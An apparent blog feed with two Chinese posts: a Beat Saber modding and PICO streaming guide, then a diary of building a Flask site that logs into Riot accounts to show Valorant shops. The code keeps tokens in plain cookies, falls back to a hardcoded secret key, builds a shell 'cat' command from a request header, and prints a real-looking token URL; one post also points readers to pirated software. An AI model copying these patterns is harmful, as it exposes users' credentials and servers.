安装的话,如果你不需要安装Mod就直接安装就是了,如果你需要装mod,那么请往下看

MOD相关

安装特定版本的Beat Saber

因为最新版的BS还没有Mod适配,所以我们要装回旧版本

这里有两种方法,第一种是来自于知乎某大佬的方法,稍微繁琐一点,但是通用,请去他的帖子看 -> 【游戏教程】Beat Saber 安装mod并实现换角色模型与设置相机位置 - 知乎 (zhihu.com)

这里我讲一下第二种方法,也是近期出现的方法

Oculus工作室这边因为升级了Unity的版本,所以他们把旧版本Unity打造的BS归档成了一个测试版,这个测试版的版本号是1.29.1,这个版本的mod是有适配的,所以我们可以直接安装这个版本

右键你的Beat Saber,选择属性 -> 测试版,在参与测试里面选到legacy1.29.1_unity_ver2019.4.28f1 - pre unity upgrade build这一项,然后直接关闭这个窗口就行了

接着按照正常的流程安装Beat Saber,你会看到你的库存里Beat Saber的后面有个中括号[]写着当前参与的测试

装好了以后,先打开一次游戏,让BS初始化一下,然后再进入安装MOD的阶段

安装MOD

首先,你得去BS中文站下一个ModAssistant,当然你要是喜欢用国外源或者是肉身出国了,你也可以去Github下载

BS中文站的ModAssistant是经过了修改的,增加了两个国内源 一键直达

我就直接用BS中文站的那个了,下载后打开是像下面这样的

在左下角那里先切换一下自己的下载源,换好了以后先阅读一下首页的内容,阅读后点同意(不同意的可以我的网页了,不同意咋装mod)

下面提示可以安装mod后,就可以点击左边的mod标签卡了,在里面选择自己喜欢的mod装上(注意左下角的游戏版本是否正确识别了)

额外配置项

点击ModAssistant左边的选项,设置一下OneClick安装,如果你想手动安装也可以,请阅读BS中文站的指引

安装光剑/人物模型

你需要去ModelSaber网站去找到自己喜欢的东西,然后直接点一键安装就行了,也可以下载了手动安装 ModelSaber

添加歌曲谱面

你需要去BeatSaver.com这个地方去找到自己喜欢的谱面,然后安装

有没有更方便的方式?

有,就像我们使用网易云的过程中,网易云有歌单的概念,BS里面也有这个概念,在BeatSaver.com有别人整理好的歌单,当然,BS中文站也有,你可以在这里找到Beat Saber曲包资源同步 - ResilioSync (wgzeyu.com)

在VR里面看桌面窗口

这个功能应该是直播用的比较多,这里会用到一个Steam上的软件叫做OVR Toolkit(国区售价41RMB,不想买就去三大妈下一个)

安装好了后在SteamVR启动之前启动这个东西,就能在SteamVR里面看到它的设置了,在你的左手手腕上(相当于一个手表)

按下扳机键就相当于点一下,建议按照里面的指引进行设置,设置的效果是这样的

当然因为我直播的时候是捕获的Beat Saber窗口,所以观众是看不到我这三个窗口的

OVR的优先级高于VR游戏,也就是说在窗口叠加的时候,它会叠在最高层

串流相关

因为Pico不像Valve Index和Meta Quest那样可以直接用SteamVR,所以我们要先下载Pico官方的串流助手

PICO Link Windows 软件 | PICO中国 (picoxr.com)

我是直接下载了跟Pico 4一起的那个版本(事实证明如果Neo 3下错了版本的话会爆音,虽然到最后我都没有解决音频问题)

下载好了安装就是了,然后打开就是像我这样的东西

根据自己的需要选择串流的方式就行了(个人观点:优先有线连接),在头显里面要打开串流助手去连接(注:PICO内置截图出来的图片不清晰,凑合着看吧)

连接好了会自动打开SteamVR,然后就会看到经典的SteamVR空间(性能面板是PICO的)

到这里,你已经完成串流的连接啦!


题外话

Pico Neo 3确实像网上说的有手柄漂移,有的时候打着打着手柄飘了就很难受。另外,平时不运动的人最好一开始别玩太猛,要不然你可能会受到腰酸背痛连续要几天的侵蚀,着实很难受。

]]> + + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + + + + + + + + + + + 利用ValorantAPI开发商店查询网站 + + https://bili33.top/posts/Valorant-Shop-with-API/ + 2023-05-10T06:50:44.000Z + 2023-07-28T09:54:40.044Z + +

先上链接:https://val.bili33.top/

附上可用于参考的文档(在别人的文档上改的,我的文档里附了源文档链接):https://gamernotitle.notion.site/Valorant-API-baffa2069fb848a781664432564e94d0

出现这个Idea是因为最近从Go转瓦去玩了,然后每天商店会刷4个皮肤(玩过瓦的都知道每天8点蹲商店),能实现这个的有很多应用,其中不乏国产的小黑盒、游民星空;Google Play商店上面还有Vshop(因DMCA被暂时下架了),在这些应用中除了Vshop,其他的我用过的都存在一个问题:每天都要重新登陆,就会弄得,很烦。特别是我这种账号开了二次验证的玩家,还要天天跑邮箱收验证码。

然后我就去搜了一下拳头的API文档:Riot Developer Portal (riotgames.com),但是并没有发现相关的API(特别是瓦的API需要的APIkey的权限比较高,个人开发者拳头不给这么高的权限)

拳头的门槛太高了,搞得我被劝退了一段时间,直到我在网上搜索到了这个Notion文档(我的参考文档是从这里改的):新增模块:UAIOSC-valorant;新增功能:每日商店刷新检测等(使用GitHub上从Valorant客户端扒出来的API) (notion.site)

既然有了别人整理出来的文档,那么就着手开始做吧!

我一人就是一支军队哒!!!!!

网站框架

因为个人用Python用的比较多(说白了就是其他的不熟,真不熟吧),所以第一反应是用Flask作为网站的引擎去开发。但是在做后端之前,得先把前端的框架大概搭建一下。为了把网站做的好看一点,我就去找模板去了。

之前做哔哩CDN的时候,用的是Creative TIM的Argon设计语言(creativetimofficial/argon-design-system),这次我本来想在TemplateMonster上面找的,但是这网站上面的模板那叫一个鱼龙混杂呀,所以我还是找回老东家Creative TIM的设计语言,自己去搭建框架,然后看到Soft UI这一套就挺不错的(毕竟总不可能网站都用一个风格嘛),就拿来用了

在大概花了三个小时把网站的前端框架给弄好(第一版只做了首页(登录页)EULA市场页面),然后当天晚上就开始做后端的逻辑

登录部分

登录部分我最开始就想的是用轮子(倒不如说整个网站能用轮子的都用轮子),在Ultronxr大佬的文档中提到了三个登录库(最下面那个是大佬自己改了的,第一个是大佬用Java写的,但是404警告):

我试了一下底下两个(毕竟能不用Java就不用Java嘛),然后发现很尴尬的事情:登录不上。不知道是不是我的打开方式不对,但是我试了半个小时都是不行,那没办法啦,只能另寻他路

我用关键词Riot Auth交友平台上面进行搜索,结果找到了这个仓库:ohlunaaa/Riot-auth (github.com)

我先Clone了下来,然后尝试用里面的example.py进行登录,不管是开了2FA(二步验证,下同)还是没开的都能够登上,并且返回access_tokenentitlement_token,然后我就用它了(这里登录用的我朋友的号,不是我的)

着手把这个轮子改一改,进行亿点点改动,首先登录操作改成一个函数,然后把二步验证也打包成函数,这样输入验证码的时候就调用这个函数就行了,改着改着就给我改成了现在的样子:VSC/RiotLogin.py at master · GamerNoTitle/VSC · GitHub

然后在后端,接收前端传来的form数据,构建了一个登录函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/api/login', methods=['POST'])
def RiotLogin():
# print(request.form)
username = request.form.get('Username')
password = request.form.get('Password')
# APServer = request.form.get('APServer')
# EUServer = request.form.get('EUServer')
# NAServer = request.form.get('NAServer')
# KRServer = request.form.get('KRServer')
checked_rule = request.form.get('CheckedRule')
checked_eula = request.form.get('CheckedEULA')
if username == '' or password == '' or not checked_eula or not checked_rule:
return render_template('index.html', infoerror=True)
else:
CREDS = username, password
user = Auth(username, password)
if user.auth:
response = make_response(render_template('myMarket.html'))
response.set_cookie('access_token', user.access_token)
response.set_cookie('entitlement_token', user.entitlement)
response.set_cookie('region', user.Region)
response.set_cookie('username', user.Name)
response.set_cookie('tag', user.Tag)
response.set_cookie('logged', '1')
response.status_code = 200
else:
response = make_response(render_template('index.html', loginerror=True))
return response

你可以发现这里面是有服务器选择的选项接收的,只不过被我注释掉了,其实我一开始以为登录的API需要用户根据自己账号所在地区选择(有的人打美服那就得选NA,同理,打欧服就得选EU,不过国区大部分人是港区、台区、缅甸区啥的,这都属于AP的范围),后来发现在登录的时候会返回地区(见上图),所以就给我注释掉了,后面更是删掉了。

至于二步验证,那是后面干的事情,让我们先进入商店获取阶段

获取商店

获取商店是一个很麻烦的事情,特别是要对武器啥的进行解析,让我们从获取开始

首先根据Ultronxr大佬的文档,有这样的一个API的端点表格(下图)

表格里面写的很详细,我们用到的API为这个(以亚太服为例) -> https://pd.ap.a.pvp.netstore/v2/storefront/

通过初始化一个player对象,来获取玩家的每日商店,并保存到自身的shop变量中,以供后续使用(该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class player:
def __init__(self, access_token: str, entitlement_token: str, region: str, user_id: str):
self.access_token = access_token
self.entitlement = entitlement_token
self.region = region
self.__header = {
'Authorization': f'Bearer {self.access_token}',
'X-Riot-Entitlements-JWT': self.entitlement,
'X-Riot-ClientPlatform': 'ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9',
'X-Riot-ClientVersion': 'release-06.07-shipping-16-866145', #requests.get('https://valorant-api.com/v1/version', timeout=30).json()['data']['riotClientVersion'],
'Content-Type': 'application/json'
}
if region == 'ap':
server = apServer
elif region == 'eu':
server = euServer
elif region == 'na':
server = naServer
else:
server = krServer
response = requests.get(f'{server}{store}{user_id}', headers=self.__header, timeout=30)
self.shop = response.json()
if response.status_code == 400 or response.status_code == 404: self.auth = False
else: self.auth = True

从这个API我们能够获取到很详细的商店数据(见文档,这里不贴了,太长了),其中对我们有用的是SkinsPanelLayoutBonusStore这两个东西,分别对应了每日商店(每天4个皮肤)和黑市(赛季结束前20天的商店,里面有6个皮肤)

根据获取到的字典,我们可以提取到皮肤的UUID,例如文档中给的示例紫金狂潮 暴徒的皮肤ID是b9ee2457-481c-6776-3f5b-0ca8e8f90c89,当我使用这个UUID去https://valorant-api.com/查询的时候,根据文档给出的格式https://valorant-api.com/v1/weapons/b9ee2457-481c-6776-3f5b-0ca8e8f90c89访问后发现提示

1
2
3
4
{
"status": 404,
"error": "the requested uuid was not found"
}

然后我就直接访问https://valorant-api.com/v1/weapons/skins,把里面的所有内容扒了下来,做了一个缓存,里面写了所有皮肤名字对应的皮肤UUID(见这里

通过自己做的这个缓存作为索引,去Valorant-API网站上调用到这个皮肤的所有信息,然后进行解析,得到这个皮肤的所有等级和炫彩数据,构成一个对象(下面代码是最初版本,该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class weapon:
def __init__(self, uuid: str, cost: int):
self.uuid = uuid
self.cost = cost
self.weapon_id = None
with open('assets/dict/zh_CN.json') as f:
data = json.loads(f.read())
f.close()
self.name = requests.get(f'https://valorant-api.com/v1/weapons/skinlevels/{self.uuid}?language=zh-CN', timeout=30).json()['data']['displayName']
self.uid = data[self.name] # the real series skin uuid for the weapon, not a level uuid
self.data = requests.get(f'https://valorant-api.com/v1/weapons/skins/{self.uid}?language=zh-CN', timeout=30).json()['data']
self.level = self.data['levels'] # Skin Levels
self.chroma = self.data['chromas'] # Skin Chromas
self.base_img = self.data['displayIcon']

然后直接在主程序里面创建weapon对象的变量,直接调用对象中的数据(该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/market', methods=['GET'])
def market():
cookie = request.cookies
access_token = cookie.get('access_token')
entitlement = cookie.get('entitlement_token')
region = cookie.get('region')
userid = cookie.get('user_id')
user = player(access_token, entitlement, region, userid)
if user.auth:
shop = user.shop['SkinsPanelLayout'] # Flite the daily skin
weapon0 = weapon(shop['SingleItemStoreOffers'][0]['OfferID'], shop['SingleItemStoreOffers'][0]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon1 = weapon(shop['SingleItemStoreOffers'][1]['OfferID'], shop['SingleItemStoreOffers'][1]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon2 = weapon(shop['SingleItemStoreOffers'][2]['OfferID'], shop['SingleItemStoreOffers'][2]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon3 = weapon(shop['SingleItemStoreOffers'][3]['OfferID'], shop['SingleItemStoreOffers'][3]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img},
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})
else:
response = make_response(redirect('/', 302))
for cookie in request.cookies:
response.delete_cookie(cookie)
return response

接着再把所有数据返回给jinja2进行渲染,把东西填入表格,然后我就写了好大一堆render_template

因为刚好做这个项目的时候夜市是开着的,所以我也把夜市部分给做完了

1
2
3
4
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img}, 
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})

皮肤缓存

这个缓存不是传统意义上的缓存,是我把所有的皮肤数据扒下来存到文件里当缓存,每30分钟更新一次

我是开了一个新的线程去做的这个东西(下面为更新缓存的函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import json
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

Linkmap = [
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
('en', en_link)
]

def updateCache():
while True:
print('Updating Cache...')
for lang, link in Linkmap:
res = requests.get(link, timeout=30)

dt = {}
for i in res.json()['data']:
dt[i['displayName']] = i['uuid']

with open(f'assets/dict/{lang}.json', 'wt', encoding='utf8') as f:
f.write(json.dumps(dt))

del res, dt # Free RAM
time.sleep(3600) # refresh cache every 1 hr

if __name__ == '__main__':
updateCache()

下面是我在主程序里面调用新线程

1
2
3
4
import _thread
from utils.Cache import updateCache

_thread.start_new_thread(updateCache, ())

启动信号我是放在flask服务器启动之前,主函数里面,这样就可以启动这个线程,并且每30分钟自动更新一次皮肤的数据缓存

更好的图片预览

在弄完电脑端的页面后,我发现图片太小了,而且帮我测试的同志(@Vanilluv)给我提出了这个建议

我估计他说的是这种(图示为Pixiv的一个浏览器插件 PixivBatchDownloader

但是但是,我实在想不出什么库可以达到这个效果,我就想到我的Blog的主题hexo-theme-butterfly用的fancybox,可以做到点击查看大图的效果,所以我就想做成这种

这个时候,我就开始求助ChatGPT了(因为懒得写html了,写起来真的很烦)

直接按照它给我的做法,往里面写,不一会就做好了√

二步验证

上面说到,一开始的登录部分是不支持二步验证的,但是轮子本身是支持二步验证的。我自己在测试的过程中,一开始如果是点击登录后,然后反弹回去登录页面加多一个验证码框框,让用户输入验证码后再点登陆,发现这样会导致会话终结,也就是说这个时候在拳头那里已经算是一个新的会话了。于是我又去问ChatGPT

Q: 我想在flask服务器中保存requests的session,该怎么做

A: 在 Flask 服务器中,您可以使用 Flask-Session 扩展来保存 requests 的 session。Flask-Session 提供了一个简单的方法来将 Flask 应用程序连接到服务器的会话存储。

诶,这刚好给了我方向,而且它也给了我代码,我把它给我的代码放进去,小改一下登录部分,不一会就做好了,但是下面坑就来了(等会说,记住GPT给我的建议,下面要考)

手机端页面适配

关于手机和电脑的判断,我是通过UA进行判断的

电脑端的UI是像下面这样(Edge电脑端)

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35

而手机的像是下面这样(Edge移动端)

1
Mozilla/5.0 (Linux; Android 13; M2012K11AC) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 EdgA/112.0.1722.59

很明显里面有系统的这个字段,手机会有Android字样,虽然不知道iPhone是咋样的,但是把iPhone字段加入判断准没错,这就是我手机和电脑端的判断依据

我一开始的想法是说把表格弄成竖直的样式,就是一个表格,从上到下是名称图片价格这样的顺序,这样想了以后,发现表头是不必要的东西,你想嘛,手机的宽度就那么小,再弄个表头在左边不是显得很多余嘛

然后我又去求助《万能的》GPT,GPT跟我说Soft UI这一套是用Bootstrap5制成的,里面有card这一class(就是我们平常见到的卡片式),然后我就直接把我的代码给GPT,它给我生成了card的代码,直接贴进去,SO EASY~

第一次踩坑:flask新版本

刚好做手机端适配的那一天我跟我爸出去了,所以我是抱着我的苏菲在外面写的代码,好不容易在codespaces里面调试完成了,git push一下,结果就直接BOOM了,提示如下

1
2
3
4
5
6
7
8
9
10
11
127.0.0.1 - - [10/May/2023 16:55:53] "GET / HTTP/1.1" 500 -
Error on request:
Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py", line 2189, in wsgi_app
ctx.push()
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\ctx.py", line 377, in push

self.session = session_interface.open_session(self.app, self.request)
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask_session\sessions.py", line 329, in open_session
sid = request.cookies.get(app.session_cookie_name)
AttributeError: 'Flask' object has no attribute 'session_cookie_name'

这一个提示直接给我干懵了,因为我在codespaces里面是调试成功的,就没遇到500的问题,结果部署就出了问题,最最最关键的事情是,我当时没有分masterdev分支,也没有分productiondev分支(指部署上),然后直接让我的服务炸裂,不管谁访问都是500。不过当时我也没有发出去,用的人也就我群里的老朋友们,然后我就在群里发了条消息

这个时候刚好准备回家了,我就收拾了一下东西,先回家去

回到家里,我做的第一件事情就是回滚版本(就是把手机端页面适配先去掉),结果还是给我报一样的错误

接着我去问了ChatGPT(这个时候我就要划掉万能这两个字了,完全就是在胡说嘛)

我就很懵逼,我明明是配置了SECRET_KEY的,怎么还出现这种问题呢,我以为是PaaS平台(Zeabur)没有读入我的环境变量,我当时是这么写的

1
app.config['SECRET_KEY'] = 'A7C55959-3577-5F44-44B6-11540853E272' if not os.environ.get('SECRET_KEY') else os.environ.get('SECRET_KEY')

这里很明显就是说没有读取到SECRET_KEY也有一个缺省值,这样写了以后还是死活打不开,我甚至去问了Zeabur的管理员(真的要给他点赞他真的每次都在解答群友的问题)

就是说我写法是没问题的,而且我后来开了个简单的应用试了一下,代码是这样的

实测这个变量env确实进去了,不过端口没有进去是因为它用了Gunicorn开服务,所以端口不是在这里设置的

所以说,不是我代码的问题,应该是其他的原因

我重新开了一个Codespaces(为了重新开一个环境),然后按照我之前的配置方法去配置,诶,也出现了这个问题

这更加印证了代码不是这个问题的锅,应该是其他的原因

后来我去翻flask的文档和flask-session的文档,结果在flask的文档里面找到了这个更新 -> Update 2.3.0

注意我选定的位置,没错flask 2.3.0更新把session_cookie_name给删掉了,且Flask-Session没有对此进行适配,导致了这个错误

于是我赶紧在requirements.txt里面固定了flask的版本

1
flask==2.2.4

重新部署后发现没问题了,这才安心了

从此刻开始,我开了Dev分支,在Zeabur也设置了Dev环境,用来开发用(省得又bug了导致服务中断)

中场休息

嗯没错,崩铁开服了,于是玩了一天的崩铁(开服冲级嘛),但我没想到8点就开服了,我是8点多准备开鼠标连点器抢UID的,因为当天九点半我要学车,月底要考科目二,结果本来想定位那个开服提示的确定键的,自己先点击了一下,然后进去了(捂脸),就变成UID前排了(100头,UID100201759,图为2023/5/10截的,崩铁我是手柄玩家)

更换皮肤的显示语言

这个建议是@Vanilluv提出的,因为这个网站毕竟是看国际服的,又不是看国服的,国际服最多是繁中而不是简中,所以推荐更换为繁中。这个也简单,更改了一下请求API的参数和访问缓存的语言就搞定了

自动保活

就是字面意思啦,上面也提到了拳头给的access_tokenentitlement_token只有一小时的寿命,如果不进行重新获取的话,就会需要重新登陆

但其实这一节做了我很久,因为在我的登录模块的轮子里面有这样的内容

1
data2 = {"language": "en_US","password": self.password,"remember": "true","type": "auth","username": self.username,}

这是登录的POST请求体,我天真地以为直接把remember设置为true就可以了,但是经过两天的测试发现这东西基本就是摆设……

本来我是不报什么希望了,然后在我翻Vshop(因为Vshop有自动更新token的机制,所以去翻了一下看看能不能找到什么线索)的时候,找到了它的官网,在它的Credit页面,有一项引起了我的注意

因为我一开始在Github上没找到什么好的文档,找到的API就是他这里面写的这个valorant-api.com,而且我也用上了,但是这个库我是真的没有看见过,回到家我就直接查看这个库,果不其然里面有我们需要的东西

在文档里面有一项叫做Cookie Reauth,就是利用Cookie进行重新认证

这里的cookie按照我的理解是登陆时用的cookie,我先用浏览器进行访问,直接GET这个链接

https://auth.riotgames.com/authorize?redirect_uri=https%3A%2F%2Fplayvalorant.com%2Fopt_in&client_id=play-valorant-web-prod&response_type=token%20id_token&nonce=1

然后发现它会重定向到一个404页面(这404真好看哪天我要给他扒下来),但是但是,网址栏里面有我们需要的东西

完整链接如下(账号已登出,现在是无效的)

https://playvalorant.com/opt_in#access_token=eyJraWQiOiJzMSIsImFsZyI6IlJTMjU2In0.eyJwcCI6eyJjIjoiYXMifSwic3ViIjoiZjYyMTYyNjUtN2U3NS01NDRjLTgyMGYtZWI5ZGY0MjEyM2UyIiwic2NwIjpbIm9wZW5pZCLCJjbG0iOlsib3BlbmlkIl0sImRhdCI6eyJjIjoidXcxIiwibGlkIjoiV3BvUUhWRW1yY1hmVFJnMVU3MnpwZyJ9LCJpc3MiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tIiwiZXhwIjoxNjgzNzE1MTg4LCJpYXQiOjE2ODM3MTE1ODgsImp0aSI6ImRJNzB4d01JMXE4IiwiY2lkIjoicGxheS12YWxvcmFudC13ZWItcHJvZCJ9.ZffyYoYQlaWAOyr3rBSjtqHe4XBa8zlJU2lRvZGA-wgqU5PLR_wrWvd-6kObVwkJzfen7rpcSSQG9CFbZqflBYVtowadeufGarMM9NgRR6Pkyyfuo845M1NJp67O4EkpP0U-hRDrltghETxJLwGYFQntNVM1WWtW19iIZTQeWKk&scope=openid&iss=https%3A%2F%2Fauth.riotgames.com&id_token=eyJraWQiOiJzMSIsInR56ImlkX3Rva2VuK2p3dCIsImFsZyI6IlJTMjU2In0.eyJhdF9oYXNoIjoiZGd3TzM2cVpNdFpsa1ctWm9xdGpZZyIsInN1YiI6ImY2MjE2MjY1LTdlNzUtNTQ0Yy04MjBmLWViOWRmNDIxMjNlMiIsImF1ZCI6InBsYXktdmFsb3JhbnQtd2ViLXByb2QiLCJhY3IiOiIwIiwiYW1yIjpbInBhc3N3b3JkIiwibWZhIiwiY29va2llIl0sImlzcyI6Imh0dHBzOlwvXC9hdXRoLnJpb3RnYW1lcy5jb20iLCJleHAiOjE2ODM3OTc5ODgsImxvY2FsZSI6InpoX01ZIiwiaWF0IjoxNjgzNzExNTg4LCJub25jZSI6IjEifQ.AOQt3i6xEZyQlNKXPT1ds4Lt8sVsEXR3dS7DJ9S8xbNSR1Pd4YON8nDAmV4F_XSH5t9VmBzv54-HLzJvRhJkJAgkOgJQAcHyetgcf0t6MealgfH2HsSnt8w9IlEgJXK6DVwGUA52inZtlq6xQUtfqigNlkXcRFtQQwnt_D-x_TU&token_type=Bearer&session_state=ps8t9j9WtxNYxhSuRy1SHt3aiUmROifqVwiC_zG5k.Nszsu7v9Q35PH87EzTqh8A&expires_in=3600

我们进行拆分,可以分为一下这几个东西

  • access_token:认证用的token
  • scope=openid
  • iss=https%3A%2F%2Fauth.riotgames.com
  • id_token:不知道是个啥token,但我们不用
  • token_type=Bearer
  • session_state:应该是session的标识符
  • expires_in=3600(过期时间3600秒,这也就是1小时寿命的来源)

现在是有了access_token,我们还需要获得entitlement_token才能凑齐七颗龙珠(bushi)

在上面提到的那个文档中,还有这样的一个项目

这个给我们展示了如何获取entitlement_token,这里headers是需要把认证用的token填进去的,这就是为什么要先获取access_token,访问后会获得文档给我们展示的json,从中提取entitlement_token就行了

那么最后的问题来了,如果你是用Python直接访问拳头的链接,会被Cloudflare给挡住(因为你即使有Cookie,但也没有会话Session的存在),就像我调试的这样

所以非常有必要把之前的session给保留,然后我就把之前登录用的session存入用户与我的服务之间的Session里面了,方便调用

然后推入Dev分支,Dev环境,调试了几天(那几天还是51放假),没问题后并入了master分支

皮肤预览

做这个的原因是,既然Vshop有这个功能,那我肯定也要嘛(别人有的我们也得有,毕竟本来想法就是对标Vshop的)

因为我对JavaScript不熟,所以一开始是打算点击按钮以后打开一个新的页面,里面只有一个视频的,结果被@Vanilluv狠狠地吐槽了说不好看

最后还是选择了弹窗,一开始我直接把Soft UI的实例弹窗加进去,发现它不弹弹窗,就,什么也没有

后来我又找GPT去了,他告诉我可能是没有引入js,于是我就去cdnjs里面,找了bootstrap5的js引入后解决了问题,但是新的坑又来了

第二次踩坑:ID选择器变量

当我做好了以后,我发现一个问题就是,有的皮肤等级/炫彩点击就能弹出框框,有的就弹不出来,然后给我控制台报错

我一开始去问GPT,他说我可能是不存在id为这个东西的元素,我就奇了怪了,我说我命名有这东西,而且在F12控制台里面是能够找到对应的元素的,咋就不行

然后我改成在class里面写uuid,选择器改成了.uuid这样的格式,也是跟我说不行,我就非常纳闷

既然GPT给不了我答案,我就开始搜索,搜索着发现有一篇选择器说明的文章(找不到了,要不然我就附上链接了),里面写了选择器的格式规定

1
2
3
4
5
6
7
8
允许的字符:
- 0-9 数字
- A-Z 大写字母
- a-z 小写字母
- 中横线(-)
- 下划线(_)

特别规定:不能以数字开头

我再反过来看,我的这个不合法的选择器正好是以数字开头的,于是我采取了一个办法就是,在武器等级的前面加上weapon-头,在炫彩的前面加上chorma-头,这样才能够正常弹出我需要的框框

多语言

自大部分功能已经做完后,我就开始考虑多语言的事情了,因为有可能不只是我们在用,老外说不定看到了也想试一试(想Peach了),所以就开始做多语言了

因为json写起来很麻烦,而且不能够写注释,于是我用了yaml文档作为我的翻译索引文件的格式

我先按照我的网站,哪些地方的字是可以写其他语言的,大概构建了一下我的yaml文档格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global:
title:
dailyshop: 每日商店
nightmarket: 折扣夜市
shopdefault: 我的商店
description:
line1: 瓦罗兰特(无畏契约)商店查看,让你不用登陆游戏也能够查看每日商店(仅支持国际服)
line2: 所有的登录名和密码服务器均不进行存取,仅用于登录
nav:
title: 瓦罗兰特商店查看
button:
dailyshop: 每日商店
nightmarket: 折扣夜市
account: 账户管理
authinfo: 认证信息
sponsor: 恰饭链接
logout: 退出登录

login:
front:
title: 登陆你的Riot账号
description:
line1: 服务器不对账号的登录名和密码进行存取
line2: 支持带有二步验证的账号,欢迎注重安全的各位使用!
form:
username:
title: 用户名
placeholder: 请输入你的用户名
password:
title: 密码
placeholder: 请输入密码
checkbox:
remember: 保持登录(减少登录次数)
nostorage: 我已明白网站仅会将我的登录名和密码用于登录我的账号
eula: 我同意<a href="/EULA" class="text-dark"><u>最终用户许可协议</u></a>
button:
login: 登录
alert:
nocheck: 请先正确输入用户名和密码,并勾选下面两项后再点登陆!
loginerror: 登录出错,请检查账号密码,然后重试!

mfa:
front:
title: 二步验证
description:
line1: 请前往你的绑定邮箱获取验证码后,在这里填入
line2: 服务器不对账号的登录名和密码进行存取
form:
code:
title: 二步验证码
placeholder: 请输入验证码
button:
confirm: 确认

market:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
title: 今日商店 | Daily Shop
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

nightmarket:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
notavaliable: 夜市还没有开放哦,先去看看每日商店吧!
title: 夜市 | Night Market
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

error:
error500:
tip: 500服务器错误
error: 肥肠抱歉,服务器发生了点错误
detail:
front: 服务器发生了以下错误:
solve: 你可以尝试点击下方的“重置网站数据”按钮来解决这个问题。<br>如果你已经点击了下面的按钮,但仍然出现了这个问题,请尝试清除浏览器的cookie来重置会话<br>如果上面这两种方法你都已经尝试过了,那么请带着此错误信息联系开发者!
button:
reset: 重置网站数据
error404:
tip: 404未找到
error: 你来到了一个无人所知的地方
button:
home: 返回首页

然后就开始在模板里面修改,因为yaml的读取是用这样的代码

1
2
3
import yaml

lang = yaml.load(var, Loader=yaml.FullLoader)

我一开始以为这个var可以是文件,结果发现读出来的lang的变量类型是str而不是dict,才发现应该读入文件

但是,每次加载页面的时候都要读入文件会导致读写吞吐量变大,而且万一前一个进程还没有释放文件,下一个进程又开始读取了就会出bug(特别是访问量很多的情况下),为了避免这个情况我就采用了linux自带的命令cat来完成这个事情

最后改成了这样子

1
lang=yaml.load(os.popen(f'cat lang/{str(request.accept_languages.best_match(app.config["BABEL_LANGUAGES"]))}.yml').read(), Loader=yaml.FullLoader)

